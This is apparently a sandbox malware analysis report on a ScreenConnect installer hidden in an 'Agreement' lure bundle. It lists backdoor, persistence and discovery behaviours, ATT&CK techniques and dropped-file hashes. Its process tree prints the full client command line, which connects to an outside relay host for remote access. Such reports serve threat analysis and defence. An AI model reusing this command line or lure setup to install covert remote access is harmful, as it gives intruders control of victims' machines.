Overview

overview

8

Static

static

3

Agreement/...nt.lnk

windows10-2004-x64

8

Agreement/...nt.lnk

windows11-ltsc_2024-x64

8

Agreement/...92.pdf

windows10-2004-x64

3

Agreement/...92.pdf

windows11-ltsc_2024-x64

3

Agreement/...6).msi

windows10-2004-x64

8

Agreement/...6).msi

windows11-ltsc_2024-x64

8

Agreement/...er.vbs

windows10-2004-x64

8

Agreement/...er.vbs

windows11-ltsc_2024-x64

8

Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260911-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    29/10/2026, 19:11

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    Agreement/data/ScreenConnect.ClientSetup (6).msi
  • Size 12.7MB
  • Sample261029-xv8pxaet21
  • SHA256 d8946c8b375dcbf49dacc79413bbde414385964759db5d01bd707a43e0979420
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10
backdoordiscoverypersistenceprivilege_escalationransomwareratrevoked_codesign

Malware Config

Signatures

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

    persistence
  • Signed with revoked ConnectWise certificate 4 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

    revoked_codesign
  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

    backdoorrat
  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

    persistenceprivilege_escalation
  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 22 IoCs
  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

    persistenceprivilege_escalation
  • Drops file in System32 directory 3 IoCs
  • Drops file in Program Files directory 19 IoCs
  • Drops file in Windows directory 13 IoCs
  • Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

    discovery
  • System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 13 IoCs
  • Modifies registry class 37 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Windows\system32\msiexec.exe
    msiexec.exe /I "C:\Users\Admin\AppData\Local\Temp\Agreement\data\ScreenConnect.ClientSetup (6).msi"
    1⤵
    • Enumerates connected drives
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    PID:4164
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Boot or Logon Autostart Execution: Authentication Package
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1344
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 14723E2172AAC64DA01345431ED169D6 C
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:4552
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSIDE55.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240705265 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:4328
    • C:\Windows\system32\srtasks.exe
      C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
      2⤵
        PID:3096
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding B8D13D401711C9B560A5095BEBDEB6D4
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:4016
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 85F8330B93722B217AE28A6651893ADB E Global\MSI0000
        2⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        PID:2480
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Checks SCSI registry key(s)
      PID:3520
    • C:\Program Files (x86)\ScreenConnect Client (13151ed7f1f412f3)\ScreenConnect.ClientService.exe
      "C:\Program Files (x86)\ScreenConnect Client (13151ed7f1f412f3)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=relay.vjsand.com&p=8041&s=76f0a9e8-e57b-4706-9b28-3220e2b2d7c3&k=BgIAAACkAABSU0ExAAgAAAEAAQDlhIVLWqHtXscSVLvp4EDbJKJRK3HKJ%2bzZoIfILfzf0%2f%2fQNT8Le0Rhq3V3rdyArdjcKHSM9y98vt%2blcth1wKXRYwJ2SAOVlpL9R3mWG2mq0lGNaQJrU9lUzrNECsA7IxUyBVzUcwX1oVUmqbFkSSr9xPvmWR1BtKpYnGOmsIoQ95K4GyAD6w22i1wPSnk3Y4jkt5zLdAo1BDdqdKxOELqEj7PgBKmK8naoBxcu9dW7f7DBqrxWpspuOrkipHAo2j%2b%2bWCvbE%2fKUFSCgMI1vabPUo5x7ttCvRzPp7LItarGz47nIcZY5Jh0b%2fJ2lf%2bt8x2d9lr6JPHyKZKCz%2fYG1mm%2fd&c=encrypt-pdf&c=&c=&c=&c=&c=&c=&c="
      1⤵
      • Sets service image path in registry
      • Executes dropped EXE
      • Loads dropped DLL
      • Drops file in System32 directory
      • Reads the TCP/IP host and domain name from the registry
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:976
      • C:\Program Files (x86)\ScreenConnect Client (13151ed7f1f412f3)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (13151ed7f1f412f3)\ScreenConnect.WindowsClient.exe" "RunRole" "c532bed4-76b9-43b5-8c6a-1b2146978720" "User"
        2⤵
        • Executes dropped EXE
        PID:5012
      • C:\Program Files (x86)\ScreenConnect Client (13151ed7f1f412f3)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (13151ed7f1f412f3)\ScreenConnect.WindowsClient.exe" "RunRole" "f1d3d93c-f390-4de6-b8cf-fc845d48d9ea" "System"
        2⤵
        • Executes dropped EXE
        • Drops file in System32 directory
        • Reads the TCP/IP host and domain name from the registry
        • Checks processor information in registry
        • Modifies data under HKEY_USERS
        PID:4040

    Network

          MITRE ATT&CK Enterprise v16

          Reconnaissance

          Resource Development

          Initial Access

          Execution

          Persistence

          Boot or Logon Autostart Execution

          2
          T1547

          Authentication Package

          1
          T1547.002

          Registry Run Keys / Startup Folder

          1
          T1547.001

          Create or Modify System Process

          1
          T1543

          Windows Service

          1
          T1543.003

          Event Triggered Execution

          1
          T1546

          Component Object Model Hijacking

          1
          T1546.015

          Privilege Escalation

          Boot or Logon Autostart Execution

          2
          T1547

          Authentication Package

          1
          T1547.002

          Registry Run Keys / Startup Folder

          1
          T1547.001

          Create or Modify System Process

          1
          T1543

          Windows Service

          1
          T1543.003

          Event Triggered Execution

          1
          T1546

          Component Object Model Hijacking

          1
          T1546.015

          Defense Evasion

          Modify Registry

          1
          T1112

          Credential Access

          Discovery

          Peripheral Device Discovery

          2
          T1120

          Query Registry

          3
          T1012

          System Information Discovery

          3
          T1082

          System Location Discovery

          1
          T1614

          System Language Discovery

          1
          T1614.001

          System Network Configuration Discovery

          1
          T1016

          Lateral Movement

          Collection

          Command and Control

          Exfiltration

          Impact

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          e5922d1.rbs
          • Path C:\Config.Msi\e5922d1.rbs
          • Size 214KB
          • SHA256 491a5bfd9922706897569a0876b439d030d4652186964526a7781cb3ab24e18c
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          Client.Override.en-US.resources
          • Path C:\Program Files (x86)\ScreenConnect Client (13151ed7f1f412f3)\Client.Override.en-US.resources
          • Size 341B
          • SHA256 69dc38f8fb731ea936c22929eeb54428b98a884df2117ab898b6c4aeb32a1ed2
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          Client.Override.resources
          • Path C:\Program Files (x86)\ScreenConnect Client (13151ed7f1f412f3)\Client.Override.resources
          • Size 232B
          • SHA256 38b24ba2eb9226edcf070713e9ff1503f1245db151de1225d156e4d1d02dd30b
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          Client.en-US.resources
          • Path C:\Program Files (x86)\ScreenConnect Client (13151ed7f1f412f3)\Client.en-US.resources
          • Size 48KB
          • SHA256 07d04e6d5376ffc8d81afe8132e0aa6529cccc5ee789bea53d56c1a2da062be4
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          Client.resources
          • Path C:\Program Files (x86)\ScreenConnect Client (13151ed7f1f412f3)\Client.resources
          • Size 26KB
          • SHA256 de185ee5d433e6cfbb2e5fcc903dbd60cc833a3ca5299f2862b253a41e7aa08c
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          ScreenConnect.Client.dll
          • Path C:\Program Files (x86)\ScreenConnect Client (13151ed7f1f412f3)\ScreenConnect.Client.dll
          • Size 192KB
          • SHA256 ea0a545f40ff491d02172228c1a39ae68344c4340a6094486a47be746952e64f
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          ScreenConnect.ClientService.dll
          • Path C:\Program Files (x86)\ScreenConnect Client (13151ed7f1f412f3)\ScreenConnect.ClientService.dll
          • Size 66KB
          • SHA256 fd5818dcdf5fc76316b8f7f96630ec66bb1cb5b5a8127cf300e5842f2c74ffca
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          ScreenConnect.ClientService.exe
          • Path C:\Program Files (x86)\ScreenConnect Client (13151ed7f1f412f3)\ScreenConnect.ClientService.exe
          • Size 93KB
          • SHA256 f1b5c000794f046259121c63ed37f9eff0cfe1258588eca6fd85e16d3922767e
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          ScreenConnect.WindowsAuthenticationPackage.dll
          • Path C:\Program Files (x86)\ScreenConnect Client (13151ed7f1f412f3)\ScreenConnect.WindowsAuthenticationPackage.dll
          • Size 254KB
          • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          ScreenConnect.WindowsClient.exe
          • Path C:\Program Files (x86)\ScreenConnect Client (13151ed7f1f412f3)\ScreenConnect.WindowsClient.exe
          • Size 588KB
          • SHA256 600cf10e27311e60d32722654ef184c031a77b5ae1f8abae8891732710afee31
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          ScreenConnect.WindowsClient.exe.config
          • Path C:\Program Files (x86)\ScreenConnect Client (13151ed7f1f412f3)\ScreenConnect.WindowsClient.exe.config
          • Size 266B
          • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          ScreenConnect.WindowsCredentialProvider.dll
          • Path C:\Program Files (x86)\ScreenConnect Client (13151ed7f1f412f3)\ScreenConnect.WindowsCredentialProvider.dll
          • Size 822KB
          • SHA256 7a80e8f654b9ddb15dda59ac404d83dbaf4f6eafafa7ecbefc55506279de553d
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          app.config
          • Path C:\Program Files (x86)\ScreenConnect Client (13151ed7f1f412f3)\app.config
          • Size 957B
          • SHA256 19c9887ca06753dbd6a3e82003d233030d356003c94e8849a99343874fc58bc3
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          system.config
          • Path C:\Program Files (x86)\ScreenConnect Client (13151ed7f1f412f3)\system.config
          • Size 944B
          • SHA256 573e95134bfc6ee1b57c5f5f0bdc0ed5f6391006f9f96fa4fb11aac1abfab480
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          MSIDE55.tmp
          • Path C:\Users\Admin\AppData\Local\Temp\MSIDE55.tmp
          • Size 1.0MB
          • SHA256 0918d8ab2237368a5cec8ce99261fb07a1a1beeda20464c0f91af0fe3349636b
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          Microsoft.Deployment.WindowsInstaller.dll
          • Path C:\Users\Admin\AppData\Local\Temp\MSIDE55.tmp-\Microsoft.Deployment.WindowsInstaller.dll
          • Size 172KB
          • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          ScreenConnect.Core.dll
          • Path C:\Users\Admin\AppData\Local\Temp\MSIDE55.tmp-\ScreenConnect.Core.dll
          • Size 536KB
          • SHA256 a2e9752de49d18e885cbd61b29905983d44b4bc0379a244bfabdaa3188c01f0a
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          ScreenConnect.InstallerActions.dll
          • Path C:\Users\Admin\AppData\Local\Temp\MSIDE55.tmp-\ScreenConnect.InstallerActions.dll
          • Size 11KB
          • SHA256 d727a640723d192aa3ece213a173381682041cb28d8bd71781524dbae3ddbf62
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          ScreenConnect.Windows.dll
          • Path C:\Users\Admin\AppData\Local\Temp\MSIDE55.tmp-\ScreenConnect.Windows.dll
          • Size 1.6MB
          • SHA256 84a09ed81afc5ff9a17f81763c044c82a2d9e26f852de528112153ee9ab041d0
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          MSI2487.tmp
          • Path C:\Windows\Installer\MSI2487.tmp
          • Size 202KB
          • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          e5922d2.msi
          • Path C:\Windows\Installer\e5922d2.msi
          • Size 12.7MB
          • SHA256 d8946c8b375dcbf49dacc79413bbde414385964759db5d01bd707a43e0979420
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          metadata-2
          • Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
          • Size 24.1MB
          • SHA256 dae05a2900cc7c2c4399128ca1b99a198ce8dc4354ddb4f3454ca883eabb33a2
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          {c3b7b653-b164-4fa7-a0ce-d1b906d4e16c}_OnDiskSnapshotProp
          • Path \??\Volume{aef5a47e-0000-0000-0000-d01200000000}\System Volume Information\SPP\OnlineMetadataCache\{c3b7b653-b164-4fa7-a0ce-d1b906d4e16c}_OnDiskSnapshotProp
          • Size 6KB
          • SHA256 687631742b2ad300371f2da91f8c9971fe9ac308fc5ec886fc2e816685295a33
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          memory/976-94-0x0000000003FE0000-0x0000000004072000-memory.dmp
          Download

          memory/976-96-0x0000000003D30000-0x0000000003D71000-memory.dmp
          Download

          memory/976-98-0x00000000041C0000-0x0000000004292000-memory.dmp
          Download

          memory/976-91-0x0000000003CF0000-0x0000000003D26000-memory.dmp
          Download

          memory/976-87-0x0000000003CA0000-0x0000000003CF0000-memory.dmp
          Download

          memory/976-76-0x00000000015E0000-0x00000000015F8000-memory.dmp
          Download

          memory/4328-22-0x00000000032F0000-0x00000000032FA000-memory.dmp
          Download

          memory/4328-26-0x00000000033D0000-0x000000000345C000-memory.dmp
          Download

          memory/4328-18-0x00000000032B0000-0x00000000032DE000-memory.dmp
          Download

          memory/4328-30-0x0000000005A00000-0x0000000005BAA000-memory.dmp
          Download

          memory/4328-31-0x0000000006160000-0x0000000006704000-memory.dmp
          Download

          memory/5012-115-0x00000000002E0000-0x0000000000376000-memory.dmp
          Download

          memory/5012-120-0x0000000002410000-0x0000000002446000-memory.dmp
          Download

          memory/5012-123-0x000000001C240000-0x000000001C3C6000-memory.dmp
          Download

          memory/5012-122-0x000000001B410000-0x000000001B5BA000-memory.dmp
          Download

          memory/5012-121-0x000000001B1D0000-0x000000001B25C000-memory.dmp
          Download

          memory/5012-125-0x000000001AE50000-0x000000001AE68000-memory.dmp
          Download

          memory/5012-124-0x00000000023E0000-0x00000000023F8000-memory.dmp
          Download